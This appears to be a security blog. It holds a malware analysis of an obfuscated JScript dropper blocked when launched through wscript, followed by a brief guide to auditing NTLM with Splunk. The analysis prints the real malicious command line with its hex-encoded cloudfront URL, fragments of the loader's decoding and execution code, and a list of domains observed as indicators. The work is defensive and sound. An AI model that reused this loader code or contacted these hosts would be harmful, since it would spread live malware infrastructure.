Examining strange wscript behavior

We use cylance with script control, and periodically I review the outliers that have been blocked. I came across this one recently:

wscript.exe "C:\ProgramData{18E0DD83-92A2-5745-1464-C9078E2642C9}\domo.txt" "68747470733a2f2f643237346571343163333972326e2e636c6f756466726f6e742e6e6574" "//B" "//E:jscript" "--IsErIk"

I took a copy of the domo.txt script and uploaded to VT:

I also ran that hex string through a hex decoder:

68747470733a2f2f643237346571343163333972326e2e636c6f756466726f6e742e6e = https://d274eq41c39r2n.cloudfront.net

According to the wscript documentation, the flag /e:jscript will allow the wscript interpreter to run the file domo.txt as jscript. The contents appear encoded or obfuscated. The /b argument will make it run noninteractively. I’m assuming the –iserik is passed to the subsequent script?

strings:

*/function fySxqeCS(){var SYBkWxQw=WScript;var uDoH="";if(SYBkWxQw.Arguments.length>0&&SYBkWxQw.Arguments(SYBkWxQw.Arguments.length-1).charAt(7) == 'k')uDoH="66 
320".toString();var IMA="";var XltLF=0;while(XltLF<uDoH.length){IMA+=String.fromCharCode(parseInt(uDoH.substr(XltLF,2),1
6));XltLF+=2;XltLF+=IMA.charCodeAt(IMA.length-1)%4}(new Function(IMA))()}fySxqeCS();/*

Googling a bit finds a BAH article classifying this as APA. It looks pretty much identical. The article doesn’t decode the script so maybe I can find out a bit more…

I tried using FlareVM run it interactively with a debugger, but that didn’t prove as easy as running the contents through node.js. Maybe I’ll come back to that later.

Let’s look at the contents:

Wait, is that a /* at the beginning? Let’s see if there’s a closing comment

Yep, sure enough. If you look for the complimentary */ you’ll see this:

¯áЫçéË*/function fySxqeCS()

Getting closer, there’s a comment towards the end as well. After removing them, it looks like this:

Which is still suboptimal. Next, we copy to a new file & rename to .js. Sublime text takes care of prettifying it a bit for us.

Starting to look readable

The argument uDoH is still quite obfuscated, and it looks like there’s some decoding function. The malware authors have also tried to prevent this code from running in a sandbox (it expects to run in WScript and with an argument of ‘k’ at the 8th position (part of –IsErik). That can be commented out for further analysis.

In addition, it looks like it runs the subsequent decoded output in a variable called IMA. That function call needs to be removed & instead we print the contents to the console. Here’s almost how it looks. The uDoH had to be trimmed quite a bit to fit in this textbox:

function fySxqeCS() {
// var SYBkWxQw = WScript;
var uDoH = "";
//if (SYBkWxQw.Arguments.length > 0 && SYBkWxQw.Arguments(SYBkWxQw.Arguments.length - 1).charAt(7) == 'k')
uDoH = "66 ¦75 2c7abü2829œ7c7c65æ2822 22é 29ï29 29ô2c65£2822 ý22Êö29ƒ7dè63ß9™61Ì74 <SNIPPED> 9Æ7bº€ÿ65 2822„¶22§å29 7d 7d 4d 61Ã69 6eb52829é3b Á320".toString();
var IMA = "";
var XltLF = 0;
while (XltLF < uDoH.length) {
IMA += String.fromCharCode(parseInt(uDoH.substr(XltLF, 2), 16));
XltLF += 2;
XltLF += IMA.charCodeAt(IMA.length - 1) % 4
}
console.log(IMA)
//(new Function(IMA))()
}
fySxqeCS();
node initial.js > initial2.js
Still some obfuscation, but much better than the original source

Ok now we’re getting somewhere. I’m going to try to run it through some sort of callgraph visualization.

Looks like they’re all in use

Ok so we need to step through these & rename them so we better understand what’s happening.

Function f looks like some sort of decoding function, let’s run it:

function f(b) 
{
b = b.toString();
console.log(b)
for (var a = "", c = 0; c < b.length; c += 2) a += String.fromCharCode(parseInt(b.substr(c, 2), 16));
console.log(a)
return a
}
u();
node e.js 
536372697074696e672e46696c6553797374656d4f626a656374
Scripting.FileSystemObject

I’ll rename that function to DecodeString and re-run the callgraph visualization:

Lots of DecodeString called here

It looks like this is about the limit of my knowledge.. I’m going to try to analyze it a bit more, but for now I’m satisfied that it’s malicious. What I need to find are some specific IOCs and generate some GRR flows / splunk queries to search for these IOCs.

Update: f5d599a39d02caef1984e95fdc606f838893ffc5.xyz

Unfortunately, as of 16 April 2019, I’m still seeing traffic on this domain.

Here are some others I’m seeing:

dfbfb63dcaff96fbe9616fb806e4799f.com
8d46980d994cc618aeed127df1b5c86d8acd86ce.info
07bf396c25d9a624281c97752aee0247e4229b84.xyz
07bf396c25d9a624281c97752aee0247e4229b84.com
07bf396c25d9a624281c97752aee0247e4229b84.info
d234304f57772cf6be78ab6c24a65c91ce896fff.xyz
d234304f57772cf6be78ab6c24a65c91ce896fff.com
d234304f57772cf6be78ab6c24a65c91ce896fff.info
8d46980d994cc618aeed127df1b5c86d8acd86ce.xyz
cbb0c7dae8061aca012b8a910062c33f3642e383.com
cbb0c7dae8061aca012b8a910062c33f3642e383.xyz
cbb0c7dae8061aca012b8a910062c33f3642e383.info

Disabling NTLM

NTLM auditing in an active directory domain with splunk.

If you want to disable NTLM and move to Kerberos in an active directory environment, you’ll need to follow this process.

  1. Enable auditing (covered in this post)
  2. Reconfigure applications to use Service Principal Name (SPN)
  3. Whitelist allowed NTLM servers
  4. Configure blocking

The first step is to enable auditing on your domain controllers. The easiest way is by creating a GPO and applying it to an OU containing your DC’s. Here’s what mine looks like:

Once defined, use splunk (or other) to capture all logs created here:

Applications and Services Logs -> Microsoft -> Windows -> NTLM -> Operational

My splunk inputs.conf looks like this:

 [WinEventLog://Microsoft-Windows-NTLM/Operational]
disabled = 0
index = msad
Splunk Query:
index=msad sourcetype="WinEventLog:Microsoft-Windows-NTLM/Operational